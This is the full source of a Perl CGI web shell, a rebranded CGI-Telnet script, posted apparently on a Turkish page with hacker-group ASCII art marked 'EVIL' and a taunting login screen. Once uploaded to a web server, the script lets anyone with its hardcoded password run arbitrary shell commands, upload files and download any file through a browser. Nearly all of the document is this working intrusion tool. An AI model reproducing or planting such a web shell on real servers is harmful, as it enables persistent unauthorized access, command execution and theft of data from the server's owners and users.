CGI Telnet Açık Kaynak Kodları

#!/usr/bin/perl -I/usr/local/bandmain
#------------------------------------------------------------------------------
# Copyright and Licence
#------------------------------------------------------------------------------
# CGI-Telnet Version 1.0 for NT and Unix : Run Commands on your Web Server
#
# Copyright (C) 2001 Rohitab Batra
# Permission is granted to use, distribute and modify this script so long
# as this copyright notice is left intact. If you make changes to the script
# please document them and inform me. If you would like any changes to be made
# in this script, you can e-mail me.
#
# Author: Rohitab Batra
# Author e-mail: rohitab@rohitab.com
# Author Homepage: http://www.rohitab.com/
# Script Homepage: mailto:UNITX_TEAM@HOTMAIL.COM
# Product Support: http://www.rohitab.com/support/
# Discussion Forum: http://www.rohitab.com/discuss/
# Mailing List: http://www.rohitab.com/mlist/
#------------------------------------------------------------------------------

#------------------------------------------------------------------------------
# Installation
#------------------------------------------------------------------------------
# To install this script
#
# 1. Modify the first line "#!/usr/bin/perl" to point to the correct path on
# your server. For most servers, you may not need to modify this.
# 2. Change the password in the Configuration section below.
# 3. If you're running the script under Windows NT, set $WinNT = 1 in the
# Configuration Section below.
# 4. Upload the script to a directory on your server which has permissions to
# execute CGI scripts. This is usually cgi-bin. Make sure that you upload
# the script in ASCII mode.
# 5. Change the permission (CHMOD) of the script to 755.
# 6. Open the script in your web browser. If you uploaded the script in
# cgi-bin, this should be http://www.yourserver.com/cgi-bin/cgitelnet.pl
# 7. Login using the password that you specified in Step 2.
#------------------------------------------------------------------------------

#------------------------------------------------------------------------------
# Configuration: You need to change only $Password and $WinNT. The other
# values should work fine for most systems.
#------------------------------------------------------------------------------
$Password = "heart"; # Change this. You will need to enter this
# to login.

$WinNT = 0; # You need to change the value of this to 1 if
# you're running this script on a Windows NT
# machine. If you're running it on Unix, you
# can leave the value as it is.

$NTCmdSep = "&"; # This character is used to seperate 2 commands
# in a command line on Windows NT.

$UnixCmdSep = ";"; # This character is used to seperate 2 commands
# in a command line on Unix.

$CommandTimeoutDuration = 10; # Time in seconds after commands will be killed
# Don't set this to a very large value. This is
# useful for commands that may hang or that
# take very long to execute, like "find /".
# This is valid only on Unix servers. It is
# ignored on NT Servers.

$ShowDynamicOutput = 1; # If this is 1, then data is sent to the
# browser as soon as it is output, otherwise
# it is buffered and send when the command
# completes. This is useful for commands like
# ping, so that you can see the output as it
# is being generated.

# DON'T CHANGE ANYTHING BELOW THIS LINE UNLESS YOU KNOW WHAT YOU'RE DOING !!

$CmdSep = ($WinNT ? $NTCmdSep : $UnixCmdSep);
$CmdPwd = ($WinNT ? "cd" : "pwd");
$PathSep = ($WinNT ? "\\" : "/");
$Redirector = ($WinNT ? " 2>&1 1>&2" : " 1>&1 2>&1");

#------------------------------------------------------------------------------
# Reads the input sent by the browser and parses the input variables. It
# parses GET, POST and multipart/form-data that is used for uploading files.
# The filename is stored in $in{'f'} and the data is stored in $in{'filedata'}.
# Other variables can be accessed using $in{'var'}, where var is the name of
# the variable. Note: Most of the code in this function is taken from other CGI
# scripts.
#------------------------------------------------------------------------------
sub ReadParse
{
local (*in) = @_ if @_;
local ($i, $loc, $key, $val);

$MultipartFormData = $ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/;

if($ENV{'REQUEST_METHOD'} eq "GET")
{
$in = $ENV{'QUERY_STRING'};
}
elsif($ENV{'REQUEST_METHOD'} eq "POST")
{
binmode(STDIN) if $MultipartFormData & $WinNT;
read(STDIN, $in, $ENV{'CONTENT_LENGTH'});
}

# handle file upload data
if($ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/)
{
$Boundary = '--'.$1; # please refer to RFC1867
@list = split(/$Boundary/, $in);
$HeaderBody = $list[1];
$HeaderBody =~ /\r\n\r\n|\n\n/;
$Header = $`;
$Body = $';
$Body =~ s/\r\n$//; # the last \r\n was put in by Netscape
$in{'filedata'} = $Body;
$Header =~ /filename=\"(.+)\"/;
$in{'f'} = $1;
$in{'f'} =~ s/\"//g;
$in{'f'} =~ s/\s//g;

# parse trailer
for($i=2; $list[$i]; $i++)
{
$list[$i] =~ s/^.+name=$//;
$list[$i] =~ /\"(\w+)\"/;
$key = $1;
$val = $';
$val =~ s/(^(\r\n\r\n|\n\n))|(\r\n$|\n$)//g;
$val =~ s/%(..)/pack("c", hex($1))/ge;
$in{$key} = $val;
}
}
else # standard post data (url encoded, not multipart)
{
@in = split(/&/, $in);
foreach $i (0 .. $#in)
{
$in[$i] =~ s/\+/ /g;
($key, $val) = split(/=/, $in[$i], 2);
$key =~ s/%(..)/pack("c", hex($1))/ge;
$val =~ s/%(..)/pack("c", hex($1))/ge;
$in{$key} .= "\0" if (defined($in{$key}));
$in{$key} .= $val;
}
}
}

#------------------------------------------------------------------------------
# Prints the HTML Page Header
# Argument 1: Form item name to which focus should be set
#------------------------------------------------------------------------------
sub PrintPageHeader
{
$EncodedCurrentDir = $CurrentDir;
$EncodedCurrentDir =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
print "Content-type: text/html\n\n";
print <


$HtmlMetaHeader

#	CGI-Telnet Unit-x Team Connected to $ServerName
Upload File | Download File | Disconnect | Help

END
}

#------------------------------------------------------------------------------
# Prints the Login Screen
#------------------------------------------------------------------------------
sub PrintLoginScreen
{
$Message = q$

 _____  _____  _____          _____        _               _
/  __ \|  __ \|_   _|        |_   _|      | |             | |
| /  \/| |  \/  | |   ______   | |    ___ | | _ __    ___ | |_
| |    | | __   | |  |______|  | |   / _ \| || '_ \  / _ \| __|
| \__/\| |_\ \ _| |_           | |  |  __/| || | | ||  __/| |_
 \____/ \____/ \___/           \_/   \___||_||_| |_| \___| \__| 2.0  
                                         
                      ______             © 2009, Unit-X Master Heart
                   .-"      "-.
                  /   UNIT-X   \
                 |    Master    |
                 |,  .-.  .-.  ,|
                 | )(_o/  \o_)( |
                 |/     /\     \|
       (@_       (_     ^^     _)
  _     ) \_______\__|*EVIL*|__/_______________________
 (_)@8@8{}<________|-\Heart/-|________________________>
        )_/        \          / 
       (@           `--------`
             W A R N I N G: Tassaklı Serverlar İtina İle Gecilir

$;
#'
print <
Trying $ServerName...

Connected to $ServerName

Escape character is ^]
$Message
END
}

#------------------------------------------------------------------------------
# Prints the message that informs the user of a failed login
#------------------------------------------------------------------------------
sub PrintLoginFailedMessage
{
print <

login: admin

password:

Yanlis Parola Gavat :D



END
}

#------------------------------------------------------------------------------
# Prints the HTML form for logging in
#------------------------------------------------------------------------------
sub PrintLoginForm
{
print <

login: admin

password:

END
}

#------------------------------------------------------------------------------
# Prints the footer for the HTML Page
#------------------------------------------------------------------------------
sub PrintPageFooter
{
print "";
}

#------------------------------------------------------------------------------
# Retreives the values of all cookies. The cookies can be accesses using the
# variable $Cookies{''}
#------------------------------------------------------------------------------
sub GetCookies
{
@httpcookies = split(/; /,$ENV{'HTTP_COOKIE'});
foreach $cookie(@httpcookies)
{
($id, $val) = split(/=/, $cookie);
$Cookies{$id} = $val;
}
}

#------------------------------------------------------------------------------
# Prints the screen when the user logs out
#------------------------------------------------------------------------------
sub PrintLogoutScreen
{
print "Connection closed by foreign host.

";
}

#------------------------------------------------------------------------------
# Logs out the user and allows the user to login again
#------------------------------------------------------------------------------
sub PerformLogout
{
print "Set-Cookie: SAVEDPWD=;\n"; # remove password cookie
&PrintPageHeader("p");
&PrintLogoutScreen;
&PrintLoginScreen;
&PrintLoginForm;
&PrintPageFooter;
}

#------------------------------------------------------------------------------
# This function is called to login the user. If the password matches, it
# displays a page that allows the user to run commands. If the password doens't
# match or if no password is entered, it displays a form that allows the user
# to login
#------------------------------------------------------------------------------
sub PerformLogin
{
if($LoginPassword eq $Password) # password matched
{
print "Set-Cookie: SAVEDPWD=$LoginPassword;\n";
&PrintPageHeader("c");
&PrintCommandLineInputForm;
&PrintPageFooter;
}
else # password didn't match
{
&PrintPageHeader("p");
&PrintLoginScreen;
if($LoginPassword ne "") # some password was entered
{
&PrintLoginFailedMessage;
}
&PrintLoginForm;
&PrintPageFooter;
}
}

#------------------------------------------------------------------------------
# Prints the HTML form that allows the user to enter commands
#------------------------------------------------------------------------------
sub PrintCommandLineInputForm
{
$Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ ";
print <

$Prompt

END
}

#------------------------------------------------------------------------------
# Prints the HTML form that allows the user to download files
#------------------------------------------------------------------------------
sub PrintFileDownloadForm
{
$Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ ";
print <

$Prompt download


Filename:


Download:

END
}

#------------------------------------------------------------------------------
# Prints the HTML form that allows the user to upload files
#------------------------------------------------------------------------------
sub PrintFileUploadForm
{
$Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ ";
print <

$Prompt upload


Filename:


Options:  
Overwrite if it Exists


Upload:   

END
}

#------------------------------------------------------------------------------
# This function is called when the timeout for a command expires. We need to
# terminate the script immediately. This function is valid only on Unix. It is
# never called when the script is running on NT.
#------------------------------------------------------------------------------
sub CommandTimeout
{
if(!$WinNT)
{
alarm(0);
print <

Command exceeded maximum time of $CommandTimeoutDuration second(s).

Killed it!

END
&PrintCommandLineInputForm;
&PrintPageFooter;
exit;
}
}

#------------------------------------------------------------------------------
# This function is called to execute commands. It displays the output of the
# command and allows the user to enter another command. The change directory
# command is handled differently. In this case, the new directory is stored in
# an internal variable and is used each time a command has to be executed. The
# output of the change directory command is not displayed to the users
# therefore error messages cannot be displayed.
#------------------------------------------------------------------------------
sub ExecuteCommand
{
if($RunCommand =~ m/^\s*cd\s+(.+)/) # it is a change dir command
{
# we change the directory internally. The output of the
# command is not displayed.

$OldDir = $CurrentDir;
$Command = "cd \"$CurrentDir\"".$CmdSep."cd $1".$CmdSep.$CmdPwd;
chop($CurrentDir = `$Command`);
&PrintPageHeader("c");
$Prompt = $WinNT ? "$OldDir> " : "[admin\@$ServerName $OldDir]\$ ";
print "$Prompt $RunCommand";
}
else # some other command, display the output
{
&PrintPageHeader("c");
$Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ ";
print "$Prompt $RunCommand";<br /> $Command = "cd \"$CurrentDir\"".$CmdSep.$RunCommand.$Redirector;<br /> if(!$WinNT)<br /> {<br /> $SIG{'ALRM'} = \&CommandTimeout;<br /> alarm($CommandTimeoutDuration);<br /> }<br /> if($ShowDynamicOutput) # show output as it is generated<br /> {<br /> $|=1;<br /> $Command .= " |";<br /> open(CommandOutput, $Command);<br /> while(<CommandOutput>)<br /> {<br /> $_ =~ s/(\n|\r\n)$//;<br /> print "$_\n";<br /> }<br /> $|=0;<br /> }<br /> else # show output after command completes<br /> {<br /> print `$Command`;<br /> }<br /> if(!$WinNT)<br /> {<br /> alarm(0);<br /> }<br /> print "";
}
&PrintCommandLineInputForm;
&PrintPageFooter;
}

#------------------------------------------------------------------------------
# This function displays the page that contains a link which allows the user
# to download the specified file. The page also contains a auto-refresh
# feature that starts the download automatically.
# Argument 1: Fully qualified filename of the file to be downloaded
#------------------------------------------------------------------------------
sub PrintDownloadLinkPage
{
local($FileUrl) = @_;
if(-e $FileUrl) # if the file exists
{
# encode the file link so we can send it to the browser
$FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
$DownloadLink = "$ScriptLocation?a=download&f=$FileUrl&o=go";
$HtmlMetaHeader = "";
&PrintPageHeader("c");
print <
Sending File $TransferFile...

If the download does not start automatically,
Click Here.

END
&PrintCommandLineInputForm;
&PrintPageFooter;
}
else # file doesn't exist
{
&PrintPageHeader("f");
print "Failed to download $FileUrl: $!";
&PrintFileDownloadForm;
&PrintPageFooter;
}
}

#------------------------------------------------------------------------------
# This function reads the specified file from the disk and sends it to the
# browser, so that it can be downloaded by the user.
# Argument 1: Fully qualified pathname of the file to be sent.
#------------------------------------------------------------------------------
sub SendFileToBrowser
{
local($SendFile) = @_;
if(open(SENDFILE, $SendFile)) # file opened for reading
{
if($WinNT)
{
binmode(SENDFILE);
binmode(STDOUT);
}
$FileSize = (stat($SendFile))[7];
($Filename = $SendFile) =~ m!([^/^\\]*)$!;
print "Content-Type: application/x-unknown\n";
print "Content-Length: $FileSize\n";
print "Content-Disposition: attachment; filename=$1\n\n";
print while();
close(SENDFILE);
}
else # failed to open file
{
&PrintPageHeader("f");
print "Failed to download $SendFile: $!";
&PrintFileDownloadForm;
&PrintPageFooter;
}
}


#------------------------------------------------------------------------------
# This function is called when the user downloads a file. It displays a message
# to the user and provides a link through which the file can be downloaded.
# This function is also called when the user clicks on that link. In this case,
# the file is read and sent to the browser.
#------------------------------------------------------------------------------
sub BeginDownload
{
# get fully qualified path of the file to be downloaded
if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
(!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
{
$TargetFile = $TransferFile;
}
else # path is relative
{
chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
$TargetFile .= $PathSep.$TransferFile;
}

if($Options eq "go") # we have to send the file
{
&SendFileToBrowser($TargetFile);
}
else # we have to send only the link page
{
&PrintDownloadLinkPage($TargetFile);
}
}

#------------------------------------------------------------------------------
# This function is called when the user wants to upload a file. If the
# file is not specified, it displays a form allowing the user to specify a
# file, otherwise it starts the upload process.
#------------------------------------------------------------------------------
sub UploadFile
{
# if no file is specified, print the upload form again
if($TransferFile eq "")
{
&PrintPageHeader("f");
&PrintFileUploadForm;
&PrintPageFooter;
return;
}
&PrintPageHeader("c");

# start the uploading process
print "Uploading $TransferFile to $CurrentDir...
";

# get the fullly qualified pathname of the file to be created
chop($TargetName) if ($TargetName = $CurrentDir) =~ m/[\\\/]$/;
$TransferFile =~ m!([^/^\\]*)$!;
$TargetName .= $PathSep.$1;

$TargetFileSize = length($in{'filedata'});
# if the file exists and we are not supposed to overwrite it
if(-e $TargetName && $Options ne "overwrite")
{
print "Failed: Destination file already exists.
";
}
else # file is not present
{
if(open(UPLOADFILE, ">$TargetName"))
{
binmode(UPLOADFILE) if $WinNT;
print UPLOADFILE $in{'filedata'};
close(UPLOADFILE);
print "Transfered $TargetFileSize Bytes.
";
print "File Path: $TargetName
";
}
else
{
print "Failed: $!
";
}
}
print "";
&PrintCommandLineInputForm;
&PrintPageFooter;
}

#------------------------------------------------------------------------------
# This function is called when the user wants to download a file. If the
# filename is not specified, it displays a form allowing the user to specify a
# file, otherwise it displays a message to the user and provides a link
# through which the file can be downloaded.
#------------------------------------------------------------------------------
sub DownloadFile
{
# if no file is specified, print the download form again
if($TransferFile eq "")
{
&PrintPageHeader("f");
&PrintFileDownloadForm;
&PrintPageFooter;
return;
}

# get fully qualified path of the file to be downloaded
if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
(!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
{
$TargetFile = $TransferFile;
}
else # path is relative
{
chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
$TargetFile .= $PathSep.$TransferFile;
}

if($Options eq "go") # we have to send the file
{
&SendFileToBrowser($TargetFile);
}
else # we have to send only the link page
{
&PrintDownloadLinkPage($TargetFile);
}
}

#------------------------------------------------------------------------------
# Main Program - Execution Starts Here
#------------------------------------------------------------------------------
&ReadParse;
&GetCookies;

$ScriptLocation = $ENV{'SCRIPT_NAME'};
$ServerName = $ENV{'SERVER_NAME'};
$LoginPassword = $in{'p'};
$RunCommand = $in{'c'};
$TransferFile = $in{'f'};
$Options = $in{'o'};

$Action = $in{'a'};
$Action = "login" if($Action eq ""); # no action specified, use default

# get the directory in which the commands will be executed
$CurrentDir = $in{'d'};
chop($CurrentDir = `$CmdPwd`) if($CurrentDir eq "");

$LoggedIn = $Cookies{'SAVEDPWD'} eq $Password;

if($Action eq "login" || !$LoggedIn) # user needs/has to login
{
&PerformLogin;
}
elsif($Action eq "command") # user wants to run a command
{
&ExecuteCommand;
}
elsif($Action eq "upload") # user wants to upload a file
{
&UploadFile;
}
elsif($Action eq "download") # user wants to download a file
{
&DownloadFile;
}
elsif($Action eq "logout") # user wants to logout
{
&PerformLogout;
}